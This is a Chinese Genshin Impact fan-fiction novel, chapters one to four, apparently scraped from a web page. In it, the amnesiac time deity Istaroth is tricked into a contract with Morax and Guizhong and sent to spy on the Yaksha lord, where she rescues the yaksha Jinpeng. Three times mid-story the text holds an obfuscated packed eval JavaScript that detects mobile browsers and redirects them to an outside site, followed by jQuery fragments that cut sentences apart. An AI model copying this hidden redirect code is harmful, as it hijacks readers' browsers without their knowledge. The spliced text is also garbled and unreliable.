《[原神]我,时之执政,认识你祖宗》
1. 人间一梦(一)
归离原。
少女双目紧闭,站在一望无际的平原上,周身流转着源自上古的金色符文,银白的长发如月华流淌,融入静谧的夜色中。
——直到隐约的哭喊声和魔物嘶吼声打破静谧。
少女骤然睁开眼,腕间流转的符文化作星屑,不过是遥遥一指,所过之处,追赶人类的魔物顷刻间化作齑粉。
伊斯塔露淡淡地看人群奔逃着躲到她身后。
随后,她垂下眉眼,问脑海中把自己唤醒的声音:
“欸欸,你知道我是谁么?这是在哪?我为什么会在这里?”
伊斯塔露耐心等待了片刻后,那个只有她才能听见的声音才悠悠响起:
「虽然失忆了,但你看着状态不错,居然还有正常人类的灵智。」
「你是伊斯塔露,掌管时间的神明——时之执政,是「天理」的四个影子之一。」
「时之执政是什么?你管它呢,厉害就对了,这片大陆也没几个人打得过你!」
「至于压你一头的「天理」是什么,你就当祂这个世界的老大咯。」
「这是归离集,岩神钟离和尘神归终的领地。」
「你问你为什么会在这里?」
「你以前犯了点事,被天理追杀了,你装成普通人躲到归离集,结果还是倒霉地被祂的天罚劈了一下,失忆了,就这样。」
那个声音说的至少有一句是真的。
伊斯塔露确实是失忆了,她只对使用体内的力量有记忆。
“行,先不问你是谁了,反正你也不会告诉我。我想知道,如果你说的是真的……”
伊斯塔露沉吟片刻,没再纠结这个声音所言是否属实,她挑起眉:
“那你特地告诉我这些,想让我做什么?”
「嗯,不错不错,真上道。」
那个声音对伊斯塔露给予了肯定。
「你的任务呢,就是现在伏低做小,潜伏在魔神身边,按天理的意志祸害他们,让他们恨你……」
清凌凌的轻笑声在伊斯塔露眼前响起,打断了她脑海中的声音。
伊斯塔露循声抬眼,看见白衣广袖的少女自琉璃花丛中走出。
白衣神女光华似琉璃,清皎如明月。
原本畏惧地躲在伊斯塔露身后的人们纷纷松了口气,三三两两地向她表示感谢后,聚拢到白衣神女的身边。
他们恭敬又亲近地唤她“哈艮图斯大人”。
被称为哈艮图斯的神女,抬起宽大的衣袖,朝伊斯塔露挥了挥手,像是在打招呼。
伊斯塔露佯装镇定地回以微笑,同时逮着脑海里的声音问:
“她是谁啊?岩神钟离?尘神归终?还是就是哈什么图斯?”
「哦,她啊,是归终。」
“……晚上好啊,归终?”
白衣神女向伊斯塔露走来,却因她这句话怔愣片刻。
随后,她饶有兴趣地绕着伊斯塔露转了一圈,将双手背在背后,笑吟吟地看着伊斯塔露。
“晚上好呀,伊露,谢谢你保护他们。”
“不客气不客气,应该的。”
“欸,是吗?”
归终又是一声意味不明的轻笑。
伊斯塔露被归终看得发毛,那白衣的神女笑得温柔亲切又别有深意。
归终忽然以袖掩面,笑得促狭:
“伊露,我记得你一直叫我‘哈艮图斯大人’,也说过自己是没有任何力量的普通人呀。”
“……”
闻言,伊斯塔露一言不发地垂眼,像是被揭穿后无言以对。
事实上,她在揪着那个神秘声音质问:
“你不是说她叫归终吗?怎么变成哈艮图斯了?快,说话!”
「啊哈,抱歉抱歉。」
那个声音听起来毫无悔过之意,甚至让伊斯塔露怀疑是否是刻意陷害:
「喊她归终喊习惯了,忘记这个情况应该叫她哈艮图斯大人咯。」
“……那什么,我现在还有希望糊弄过去吗?”
「想什么呢?不可能的,归终很聪明的。」
哦豁,刚开口就喜提翻车了,伊斯塔露有点绝望地闭上眼。
她不是时之执政吗?她要倒流时间,她要重开!
归终见眼前的人久久未曾开口,声音还是柔和了几分。
“虽然很抱歉啦,但是我把眼下这个情况告诉摩拉克斯后,他说他会亲自审问你。”
“所以跟我去见摩拉克斯吧。”
“……摩拉克斯又是哪只?”
伊斯塔露无助地问自己脑海里那个声音。
「就是岩神钟离啊,摩拉克斯可以说是他的……外号?封号?别名?大概就是这么个东西吧。」
「哦,对了,他不是很好应付,为了不被天理继续定位拿雷劈,你现在最好别再用自己的力量——所以小心点,别被他整死了。」
伊斯塔露:……
她才刚苏醒,就感觉头好痒,是要长脑子了吗?
伊斯塔露认真地考虑了一下原地逃跑的可能性,可神秘声音再三警告她,现在逃出被魔神庇护的归离集很容易直接被天理的天雷劈死——
「喂,别作死啊,被劈得连渣都不剩你就老实了。」
走投无路之下,她还是老实跟着归终去见那位摩拉克斯了。
海上的熹光逐渐从残夜中透出,将归终和伊斯塔露的身影拉得极长。
此时西望,能看见远方有一颗天星划过苍穹。
.
伊斯塔露以为归终说的去见摩拉克斯最多不过翻一座山的事。
但她跟着归终走了好一段路,眼前仍然是弯曲的山间小径。
“哈艮图斯大人,我们还要走多久啊?”
伊斯塔露抬脚跨过一颗碎石,仰望崎岖的群山,喘了口气。
走在前头的归终回头看见伊斯塔露狼狈的模样,伸出手,拉着她飘上了石堆顶。
“嗯……大概再翻过七八座山,就能看见摩拉克斯了。”
还有几座山?伊斯塔露的神色寸寸崩裂。
摩拉克斯是住在山里的史莱姆吗!为什么要躲在山里面!
“逗你玩的,”归终松开拉着她的手,拍了拍自己的裙摆,“马上就到啦,从这座天衡山底下穿过去就是了。”
于是伊斯塔露抬眼东望,只见山间小径斗折蛇行,蜿蜒向群山之中。
好的,摩拉克斯就是山里的岩史莱姆。
等到伊斯塔露和归终穿过了天衡山,已经能看见朝日喷薄着霞光,从海岸线上缓缓升起。
海滩上怪石嶙峋,最高的岩石上立着一道手执长枪的人影。
那大概就是摩拉克斯了。
“诶,我该怎么称呼他?”伊斯塔露问那个声音,“摩拉克斯大人?”
「欸,那还真不是,按照他们的传统,你应该喊他岩王帝君。」
“帝君啊,好大的架子,”伊斯塔露感慨,“归终还是‘大人’,摩拉克斯就当上帝君了。”
感受到身后的视线,立在奇石上的人不急不缓地转过身,鎏金的眼眸粲然生辉,像落入群岩的天星。
归终抬起宽大的白袖,朝他挥了挥。
“摩拉克斯!这里!”
“归终。”
摩拉克斯朝归终微微颔首,算是打过了招呼,随即,他目不斜视地走向伊斯塔露。
随着摩拉克斯的逼近,铺天盖地的魔神威压降下,但大概是身为所谓「时之执政」的关系,伊斯塔露并没有感觉到难以承受。
相对而言,摩拉克斯那双愈发灿烂的鎏金眼眸更让人不敢直视,如岩星天坠,在那样的目光中,万物尽数崩摧。
“来到归离集那日,你曾立下誓约,道自己是毫无能力的凡人,只为寻求庇护,今日看来,其言不实,有违契约,当受食岩之罚。”
摩拉克斯平淡而冷漠地陈述。
这哥们变脸真快,说话虽然一股文绉绉的味道,但开口就要揍人。
摩拉克斯,太恶毒了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936188|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>伊斯塔露一边腹诽,一边继续把脑海中的声音当自己的狗头军师:
“欸,现在怎么办?那个食岩之罚死不死人啊?我不想被砍啊。”
「哇哦,摩拉克斯的食岩之罚还是挺可怕的……」
「不过怕什么!你好歹是时之执政,硬气点!直接跟摩拉克斯大小声,就这么喊,跟我学——」
「我错了别弄死我,我跟你签个打一辈子白工的契约!完不成就食岩之罚!」
伊斯塔露沉默片刻,诚恳发问:“我能不能不用最硬气的态度做最怂的事?”
「哪里弱了!自信点!」
听到“弱”这个字,那道来源不明的声音也激动起来:
「你怎么会弱呢?都说了现在要躲天理,该伏低做小就伏低做小呗。」
「等天理被忽悠过去了,你就违约跑路啊,你签名就签他们知道的‘伊露’,那这个契约和你伊斯塔露有什么关系?」
「就算到时候摩拉克斯气不过,来找你打架,不说打个五五开没问题,你不想打了还能轻松跑路。」
“……你好坏啊。”
伊斯塔露真心实意地夸赞道。
「过奖过奖。」
狗头军师也大言不惭地受了这夸奖。
“我来酝酿一下怎么装傻……”
伊斯塔露沉吟片刻,最后选择躲到归终身后,她抓住了白衣神明宽大的衣袖,挂着一副泫然欲泣的可怜模样:
“救命救命,哈艮图斯大人救我!”
“岩王帝君,帝君帝君,不要给我食岩之罚啊,说自己是普通人的那个家伙已经死了,我是上她身的怨灵啊!”
如此扯淡的借口让归终和摩拉克斯都是一愣。
见有商议的余地,伊斯塔露更是继续信口开河:
“普通人是她,能打架的是我,千万不要玩替身文学当做同一个人啊!这是不对的!”
“但不管怎么说违背契约还是不太对,为表歉意,我可以继续给归离集打一辈子工!签契约的那种!”
归终倒是先回过神来,她眼角的余光扫过躲在她身后的少女,弯着眉眼笑起来:
“哦?那你能做什么呢?”
伊斯塔露信了神秘声音的话,开口就是flag:
“做什么都行,打不到一辈子工我将毫不抵抗地接受食岩之罚。”
“那好哦,我和摩拉克斯都听见了,”归终眼含笑意,朝摩拉克斯使眼色,“那让摩拉克斯和你重新签个契约吧。”
原本一身杀伐气的摩拉克斯闻言,竟然从善如流,敛起了他的威压,从不知何处掏出了一卷古旧的卷轴,递到了伊斯塔露面前。
在归终和摩拉克斯的注视下,伊斯塔露咬破手指,以血代笔,写下了自己的名字。
最后一笔写下的瞬间,契约上的文字和伊斯塔露的签名散发出橙金色的光芒,卷轴自动卷起,重新落到摩拉克斯手中。
“契约已成,食言者当受食岩之罚。”
摩拉克斯还是淡淡的,言毕便收起卷轴,转身离去。
“咝。”
摩拉克斯走远后,伊斯塔露忽然有点回过味来了:
“哈艮图斯大人,你俩合起伙来诓我签契约?”
雷声大雨点小,听着吓人的食岩之罚最后重新签了个契约就解决了?
“伊露,我哪里有诓你呀?这可是你自己提出来的。”
归终用衣袖挡着半张脸,笑了。
但她确实提前和摩拉克斯通过气。
归终说来自高天的惊雷劈下后,或许这个身体里已经是另一个具有特殊能力的灵魂了,而在无意识下还出手保护了人类的伊露,大概也能成为摩拉克斯的助力。
所以与其断绝后患除掉伊露,倒不如拉拢她。
当时摩拉克斯听着归终这样胡诌,神色几经变换,但最终还是答应了她。
归终望向已经升上天穹的朝日,轻声叹道:
“毕竟魔神战争马上要开始了嘛,多一份力量总是好的。”
2. 人间一梦(二)
归终的低语被伊斯塔露记下,她问神秘声音:
“欸,魔神战争是什么?”
那个声音听到“魔神战争”几个字,一下精神起来:
「哇哦,居然快爆发魔神战争了吗?」
「这是你上司天理整出来的,跟养蛊似的,把一群魔神投放到人间,让他们互相争斗,最后留下来的七人各自镇守一方,封为尘世七执政。」
「我要你做的事情也和尘世七执政有关。」
伊斯塔露悄悄瞥了一眼归终。
她莫名有些怕这个刚刚巧妙算计了她的白衣神明会听见她脑海中的声音,然后促狭地看她。
所幸并没有,归终的目光仍在一望无际的云来海上。
「怎么跟你解释这个事情呢……天理目前还不会对你赶尽杀绝,但是你得演一段时间狗腿子,让那位王座放松警惕。」
「而我说的尘世七执政最后都会成为祂的养分,而作为一个合格的狗腿子呢,你先混入七执政的关系圈,帮天理把他们搞崩溃,方便吸收。」
「比如让他们看着挚友死光,一个人孤苦伶仃什么的。」
“……你说得倒是轻松。”
伊斯塔露轻嗤一声。
“这不就是害人吗?我能不干吗?躲着点所谓的天理就是了。”
那道声音却回以严肃的回答。
「可以啊,等天理恢复完全,然后把你弄死了,后悔都来不及。」
「让你做这些不是为了演好兢兢业业的狗腿子,而是为了让天理放松警惕,为你得到更多的力量做准备。」
「最后——你去反手把现在的天理扬了,自己当天理。」
“好,有梦想,”伊斯塔露一言难尽地在心里鼓掌,“意思是我不按你说的做就得死?按你说的做就当老大?”
「差不……不,不多吧,对了,我……」
原本清晰的声音忽然断断续续起来。
「我……联系时间……间,不多……」
「咳咳。」
两声轻咳之后,那个声音再次清晰起来。
「我给你留了本搞事指南,就藏在你位于归离集的住所,自己去拿吧,我马上就没办法继续和你联系了。」
「反正你是掌管时间的神明,搞点事不难吧?我相信你,拜拜。」
“有没有一种可能,我会选择拒绝?喂,别跑,喂喂!”
伊斯塔露还想追问,但是那个声音已经在须臾间便消失的一干二净,任由她怎么呼唤,都再没有回复。
“唉。”
伊斯塔露叹了口气。
就算她想拒绝那个声音,眼下她的记忆一片空白,也是别无选择,只能且行且看。
何况神秘声音再三警告过,她不推翻天理就会威胁到自己的小命,最后她还是认命地接受了这个指引。
她见归终没有要留她审问的意思,和这位白衣的神女道了别,踏上返回归离集的羊肠小径。
离开前,伊斯塔露回眸看向那抹清丽的背影。
……她和摩拉克斯,最后是其中一人亲友离散,还是都惨死在魔神战争中呢?
.
平心而论,天衡山间的景色,伊斯塔露是很喜欢的。
溪流蜿蜒东去,绿意深深浅浅。
还有一只硕大的青鹤从身侧掠过,带起林梢的清风。
“哇哦,好大一只鸟。”
伊斯塔露随口感慨,视线追随着青鸟的身影。
谁知那飞翔的青鸟却一个急刹车,转身飞向伊斯塔露,羽翼携着流云,稳稳降临在她面前。
一人高的青鸟居高临下地俯视伊斯塔露,眼中带着审视的锋芒,口吐人言:
“何人胆敢对本仙不敬?竟敢呼本仙‘大鸟’!”
伊斯塔露:?
夭寿了,天衡山随便一只鸟都会说话!
“对不起对不起,我有眼不识泰山,冒犯您了……呃,青鸟仙君?”
青鸟来势汹汹,伊斯塔露自认是个识时务的人,决定先认怂。
“念在你认错态度尚可,本仙便饶了你这一回的不敬。”
见伊斯塔露认错积极且态度良好,青鸟倨傲地甩了下脖颈。
“谢谢仙君,谢谢仙君,那……我先走了?”
伊斯塔露已经准备好脚底抹油就要溜走了,却见云烟萦绕,流风拦住了她的脚步,回过头便见青鸟上下打量着她。
“仙君,您还有什么事吗?”
伊斯塔露还想找机会溜走,不料青鸟打量过后,恍然大悟道:
“原来是你,跟本仙走吧,去归离集。”
伊斯塔露真的很想大喊一声仙君我不认识你,但青鸟不容她辩驳,已经转向归离集的方向。
“那个,仙君……”
伊斯塔露走在青鸟身后,试探着开口,青鸟转头瞥了她一眼,便再次恍然大悟,打断了她:
“不习惯本仙的本相?真是麻烦……本仙知晓了。”
云烟流岚在青鸟周身聚起,柔和的白光战放弃,待烟尘散去后,青发黑衣的女子转身和伊斯塔露对视。
她眼角眉梢间的锋利感隐隐能看出刚才那只仙鸟的影子。
伊斯塔露:“仙……”
“哦,本仙似乎没告诉你本仙的名号,但想来你也听说过,本仙正是留云借风真君。”
显然,这次留云借风真君悟得又更快了。
“哈哈哈对,留云借风真君,久仰大名。”
伊斯塔露:……留云借风真君,您下次能先别悟吗?
算了,留云借风真君说得都对。
伊斯塔露终于放弃了和她的交流,认命地跟上了留云借风真君,听着那看似严肃的仙君和自己絮絮叨叨。
“本仙才刚从绝云间回来,归终来跟我说,她担心你找不到路,让本仙来找你,她就是这样爱操心……”
“有劳留云真君了,哈哈。”
还是归终想得周到,伊斯塔露感叹。
“你叫伊露,是吧?凡世之人能得帝君赏识,与本仙同列帝君麾下,不说前无古人,也是莫大荣幸。”
“能入帝君麾下,不胜荣幸啊,哈哈。”
……该死的卖身契,伊斯塔露欲哭无泪,她一定是被神秘声音、摩拉克斯和归终一起做局了。
“说起归终和帝君,哼,本仙自认机巧不输归终,偏偏帝君认为她的‘归终机’更胜一筹。”
“留云真君,你和归终做了什么机巧啊?”
伊斯塔露生起了些兴趣,毕竟归终神女看上去活泼又温柔,却没想到还是手搓机巧搞算术的技术人员。
“归终做的强弩,本仙的机巧是织机。”
“真君,我倒觉得是因为帝君他需要逐鹿四方,所以更赞赏进攻性的归终机,但以平民百姓的角度来看,真君的织机对黎民生计的益处不可估量。”
听到这么直白的夸奖,留云借风真君却别扭地别开了视线,她回望远方的云来海,片刻后才道:
“若没有能力荡涤四方,也无法护一方黎民。帝君都这么说了,归终机自然也很好……”
“不过你,倒是也很有见地,本仙认可了。”
留云借风真君对伊斯塔露的想法颇为赞赏:
“上个如此合本仙眼缘的还是甘雨那孩子。”
“想来你应该还不知道甘雨吧?她是仙麟与人类的后代,小时候有可多趣事了……”
留云借风真君忽然把话题转到了那位“甘雨”身上,乐此不疲地分享着所谓“趣事”。
“哈哈,哈哈,那,那很有趣了。”
伊斯塔露冷汗频冒,尬笑附和。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936189|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没人告诉她和留云借风真君聊天这么难啊!
.
伊斯塔露和留云借风真君回到归离集时,已是正午时分,炊烟自家家户户的烟囱升起,鸡犬相闻,一片祥和。
——如果忽略聚落外严阵以待的队伍的话。
“真君真君,那边是怎么回事啊?”
和留云借风真君聊了一路,伊斯塔露也大概看出留云真君是个嘴硬心软还不算计她的好仙人,遇事便也直接问她了。
“嗯?”留云借风真君循声望去,“你竟不知?”
“啊哈哈,我记性不好……”
伊斯塔露心里又是一个“咯噔”,她以前的记忆可是一点都没了,神秘声音也不见了,不会被发现自己不是凡人了吧?
所幸留云借风真君很快给她找了理由圆上:
“想来也是,你先前只是得帝君庇护的民众,不知晓这件事也是人之常情——魔神战争即将爆发,帝君为护此地民众,决定征战四方,以得安宁。”
伊斯塔露:留云真君,感恩有你。
再也没有这么好的人,不,这么好的鸟,不仅帮她圆了纰漏,还把所有事情都告诉她了。
“那些军队就是帝君麾下的仙人吗?”
伊斯塔露继续打听。
“并非,那支队伍名唤‘千岩军’,是自愿追随帝君征战并组成了队伍的凡人。”
“而你我,才称得上帝君麾下的‘仙人’,作为帝君征战时最主要的助力。”
伊斯塔露对留云借风真君话里透出的自豪和骄傲不置可否。
但不可否认,从她苏醒到现在,她看到的人类确实都是孱弱到能被小小魔物追着逃窜的。
“罢了,你先随本仙去寻归终,魔神战争的兵力排布由她和帝君安排,你看上去也不强,让归终给你安排点轻松些的活。”
“……本仙只是怕你拖后腿。”
留云借风真君特意如此强调。
“好,谢谢真君。”
伊斯塔露并不在意留云借风真君的话,诚恳地向她道谢。
她确实是很好的仙人,甚至还特意关照看上去不善杀伐的自己。
……可是真的不善杀伐吗?伊斯塔露想起自己刚苏醒时,仅凭一指就让所有魔物化成齑粉的力量。
大概就像那个神秘声音说的,她身为时之执政,确实……不弱吧?
.
归终的临时居所中。
“她一个人去夜叉之主的领地潜伏?我并非质疑,只是帝君怎会下如此决议?”
“夜叉之主何等凶神恶煞?伊露她不过一介凡尘之人。”
留云借风真君指着伊斯塔露,以不可置信的目光看向归终。
归终歉然地朝伊斯塔露笑笑:
“抱歉啦,伊露,这是摩拉克斯坚持的决定,就算是我也没能说服他。”
“而且是要伊露刺探情报后和帝君里应外合,无论如何,还是她的安全第一。”
“那个……夜叉之主很可怕么?”
不明所以的伊斯塔露发问。
在留云借风真君“不知者无畏”的眼神和归终简洁明了的叙述中,伊斯塔露大概清楚了她的任务是怎么回事。
正面打类似正常仙人越个十几倍的级打怪,刺探情报大概是越个两三倍的程度。
……摩拉克斯不讲武德!把她当一次性消耗品吗!
伊斯塔露想骂人。
直到踏上前往夜叉之主领地的道路,伊斯塔露才逐渐猜到了摩拉克斯的用意。
不是他想害死她,而是昨天归终传达给摩拉克斯的、关于自己情况的信息,让摩拉克斯觉得,她有能力做到这些。
潜伏在强大的魔神身边,刺探情报……
伊斯塔露忽然背后一凉。
摩拉克斯在暗示什么吗?
3. 人间一梦(三)
夜叉之主的领地在归离集西北。
不同于山清水秀的天衡山和归离集一带,才踏进夜叉之主的领地,伊斯塔露就已经感觉到了笼罩在半空中的压抑氛围。
粘稠的,不安的,充满了血腥味的气息。
伊斯塔露深一脚浅一脚地淌过坑洼的泥地,终于勉强在山谷里找到一个尚有人烟的聚落。
只是这里的建筑不仅看起来摇摇欲坠,而且大都门户紧闭,也看不到来往行人。
伊斯塔露抱着自己的包裹,试着敲响了其中一间屋子的门。
其实包裹里只有一件东西——正是她按照神秘声音的指引,在归离集住所找到的搞事指南。
只是怕被摩拉克斯或是归终察觉到不对劲,所以裹了层布。
不大的敲门声在寂静的聚落中尤为明显。
半晌,门被一只枯槁的手推开,一名面色蜡黄的妇人探出了头:
“有,有……什么事?”
“姐姐你好啊,我是刚来这一带的,没地方住,请问我可以借住在你家吗?我可以支付……”
伊斯塔露虽然知道自己身为神明大概也是一把年纪了,但是叫起人来却不含糊。
谁知那妇人听闻“刚来”和“借住”后,面色明显恐慌起来,她连连摆手,想把门合上:
“抱歉,抱歉,我家孩子多,住不下了。”
“村子里的人很多都……咳咳,都离开了,你随便找间空屋子,就好了,没有人,没有人会说你的。”
“……咳咳,但是千万要找空屋子,晚上也不要,不要点灯,更……不要往外看。”
言毕,妇人死死抓着门把手,把门带了回去。
“啊?这样啊,这么好吗?”
伊斯塔露没在意妇人的态度,她挠了挠脸颊,打算去找一间结实点的空屋子暂住。
至于那名妇人叮嘱的晚上别看外面……她确实打算作作死,晚上探头看看。
神秘声音留下的搞事指南里说,等到魔神战争开始,她就可以逐渐使用自己的力量而不用担心被天理发现了。
而据说她的实力其实不亚于魔神摩拉克斯,那只要摩拉克斯不是太拉胯,那她面对所谓“夜叉之主”还是有一战之力的。
那她因为好奇探头往外看看也很合理,对吧?
至于那名妇人欲言又止的奇怪态度,伊斯塔露也看出来了,可无论这个聚落有什么猫腻,她都只能暂住这里,替摩拉克斯打探情报了。
最后,伊斯塔露在村子角落找了间看着比较结实的空屋,把包袱随手甩到桌上,抬手打了个响指。
屋内原本蒙尘的破旧陈设逐渐变得簇新,整个屋子霎时明亮起来,像是屋内的时间被单独倒转。
这来源于伊斯塔露对时间的权能。
嗯,这就是她自认身为时之执政最实用的小技巧了。
伊斯塔露满意地环顾四周,打算出门去找点吃的。
事实上,她本人没什么对进食的需求,但她不介意在卧底生活里找点事做。
而这个聚落家家户户门户紧闭,伊斯塔露也不能指望能在这里买到事物,权衡之后便打算临溪捕鱼。
夜叉之主的领地实在诠释了何为“地穷人稀”,即使是位于形成水流的山谷地带,伊斯塔露还是在离聚落好一段路才找到了一条河流。
而当地的环境似乎也受了那股压抑氛围的影响,浑浊不见底的水面隐隐泛着一股邪气。
伊斯塔露叹了口气,做好了败兴而归的准备,却被岸边草丛上的斑斑血迹吸引了视线。
刚滴落不久的、泛着浓重煞气的血迹。
……到这种程度的污染,会和那位夜叉之主有关吗?
伊斯塔露不动声色地拉了拉自己的斗篷,沿着血迹滴落的痕迹,向上游走去。
越往上走,丛生的杂草越高,伊斯塔露有些艰难地拨开面前的杂草,她的视线顿时被浓重的煞气占据。
“咝……”
伊斯塔露倒吸了一口凉气,因为那团煞气中还包裹着一个人——
身形瘦削的少年横卧在草丛中,四肢蜷缩,即使仅露出一半五官,也能看出他的痛苦不已。
破碎的半边傩面扣在他另外半边脸上,傩面狰狞的眼中燃出森森青焰,显得少年形如鬼魅。
“……嘿,小哥?你还活着吗?”
伊斯塔露俯下身,试着戳了戳煞气中的人。
虽然她对人类在这种煞气中存活不抱希望,但万一呢?
“呃啊……唔……”
少年喉中发出破碎的呻吟声。
不是,这小哥真的还活着?这不像孱弱的人类啊?
伊斯塔露想起了在归离集听闻的有关夜叉之主和她手下夜叉的传言,心下了然。
她抬起手,无数细小的星子在指间流转,随后漫入漆黑的煞气,将其逐渐驱散。
煞气散去后,少年脸上的傩面也随之消散,伊斯塔露也看清了他的模样。
眉眼清艳,素衣广袖,不像夜叉之主手下沾染杀伐的夜叉,更像是和留云借风真君一般,行走云间不染烟尘的仙人。
伊斯塔露叹了口气,费了点力气把意识不清的少年拖起来,挂在自己背上,给他施了个止血的小仙术后,转身往聚落的方向走。
夜叉之主,你手下的夜叉不错,她伊斯塔露先偷一个回家。
.
等伊斯塔露把偷来的夜叉少年放到她居所的床上时,夕阳刚刚落山。
光线昏暗的木屋中,只有靠窗的桌边燃着一盏灯火暗淡的烛台。
天黑了,伊斯塔露该看看屋外有什么东西了。
她支起窗棂一角,偷偷摸摸地探出半个脑袋。
屋外一片漆黑,唯有伊斯塔露的窗口透出一点烛光,她犹豫了片刻,熄灭了最后一盏灯火。
霎时,天地沉入昏黑。
一刻钟后,尖锐的唢呐声从远处飘来。
乱舞的火把破开黑暗,以一名六臂的开道神为首,一群载歌载舞的傩戏者进入聚落。
他们高矮胖瘦不一,但无一不是戴着狰狞的傩面,浓重而不详的煞气从他们的傩面中肆意满溢。
那样的煞气和伊斯塔露捡来的夜叉同出一源。
伊斯塔露屏息凝神,却没能听清那些傩戏者在唱什么。
她索性一不做二不休,把半个身子弹出了窗外,却见离自己最近的一人摘下了傩面,泛着红光的眼睛直勾勾地盯着她。
“咝——”
伊斯塔露倒吸一口凉气,从夜叉少年身上站起来。
“夜叉小哥,能不能有话好好说?我这个人比较脆,经不起摔。”
伊斯塔露心有余悸地看了一眼未关的木窗,用气声和夜叉少年交流。
“……”
夜叉少年没有回答,用无光的金眸盯着伊斯塔露。
他眼尾的绯红在窗外照来的昏暗光线中却显得愈发秾丽,幽幽的眼神衬得原本清皎如仙的眉眼像极了艳鬼。
“夜叉小哥?你睡醒没?不会还昏着吧?”
伊斯塔露狐疑着伸手在夜叉少年面前扫了扫。
夜叉少年忽然伸手抱住了她,少年冰凉的身体带着清心的冷香,让伊斯塔露一愣。
“唉我……夜叉小哥,这不好吧?”
伊斯塔露拍了拍他的肩膀,打算推开他。
不料少年却将她锁得更紧,唇齿中挤出似是难耐的呜咽声。
“夜叉之主没教过你欺负老实人是不对的吗……”
伊斯塔露推不开人后,试图和他讲道理
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936190|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,然而少年却对她的话置之不理,幽幽目光盯着她露出的脖颈,张了口。
在牙齿碰到伊斯塔露的前一刻,少年却骤然顿住,片刻后,他口齿不清地呢喃道:
“吾名,金鹏……”
束缚着伊斯塔露的力量倏然一松,伊斯塔露一个激灵,扶住了失去意识的金鹏夜叉,心有余悸地舒了口气。
她指尖闪烁的微末星芒散去。
伊斯塔露不打算轻易对目前唯一的线索动手,但要是金鹏对她进一步动手,她也不会客气了。
伊斯塔露把人抬回床榻上,再回到窗边,却已经看不见刚才的傩戏队伍。
吹拉弹唱的吵闹声也没能让聚落里任何一盏灯亮起,一切都寂静不已。
傩戏的队伍更是没能留下任何踪迹,好似夜叉、傩面和唢呐声只是伊斯塔露的黄粱一梦。
——不,还是留下了些许踪迹的。
伊斯塔露趴在窗边,伸手摘下了卡在屋外窗棂上的古旧傩面。
伊斯塔露打算等那名夜叉少年醒了问问他……
她无奈地看了一眼床榻上的人,如果少年清醒且配合的话。
.
翌日,日上三竿。
伊斯塔露扯了扯身上盖着的斗篷,悠悠转醒,却发现自己躺在屋内唯一的床上。
……她不是把这床让给金鹏了吗?她梦游?不能吧?在归离集都没出现过这种事。
最后,伊斯塔露得出结论,是她偷回来的金鹏夜叉把床又让给了她。
看来这金鹏小哥相当知恩图报,伊斯塔露觉得找他打听有戏。
她下了床,在屋子里喊金鹏:
“金鹏小哥,金鹏小哥,你在不在?”
最后,她在门边找到了倚着门框抱臂而立的金鹏。
“金鹏小哥,早上好?”
“……早。”
金鹏的金眸看上去还是暗沉的,但也不似昨晚那样黯淡无光。
“我问你点事儿?”
“……且问。”
“你知道为什么夜叉之主的领地没什么人烟吗?”
“不知。”
“夜叉之主是怎么培养出源源不断的‘夜叉’的?”
“不知。”
金鹏呆呆地和她一问一答——这下看上去不像清冷倨傲的仙人了。
“好吧,那有关夜叉之主的事情,你到底知道多少?随便说点也行。”
“……事关主,不可知,亦不可说。”
伊斯塔露:……
好一个一问三不知,伊斯塔露气笑了。
所幸她也不急于一时,暂时便没再打算问金鹏,转身想要离开。
金鹏却忽然拉住她,他垂下眼,淡淡道:
“金鹏自幼拘于主座下,主未曾教导过任何事物,我……什么都不知。”
居然是在回答伊斯塔露昨晚问他的“夜叉之主没教过你欺负老实人是不对的吗”。
伊斯塔露败了。
她能怎么样,和一个从小被夜叉之主抓走的少年计较吗?
“好了好了,没事,你也没做什么。”
伊斯塔露摆了摆手。
何况要是真做了什么,那现在倒霉的估计不是伊斯塔露,而是金鹏。
毕竟她也不是泥塑的。
“哦对了,这些不知道就算了,这个傩面你知道什么吗?你是不是也有傩面?”
伊斯塔露把昨天从窗棂上拿下来的傩面递给金鹏。
谁知金鹏却像是魔怔了一般,死死地盯着这只染着血污的傩面,喃喃自语:
“傩面,杀戮……”
他忽然抬眸,用和昨夜傩戏者一样的眼神,直勾勾地看伊斯塔露:
“夜叉会杀死你,就在今夜,梦里……”
4. 人间一梦(四)
“那个,有没有一种可能,我不做梦呢?”
伊斯塔露试探着问。
她当然会做梦,但岩王帝君出征前说过,碰到有人威胁自己,管它是不是真的,起码气势上不能输。
——其实帝君没说过,但那不重要。
可是金鹏不再应答,径自用指尖抚摸着古旧的傩面,金眸中难得透出了星星点点的光芒。
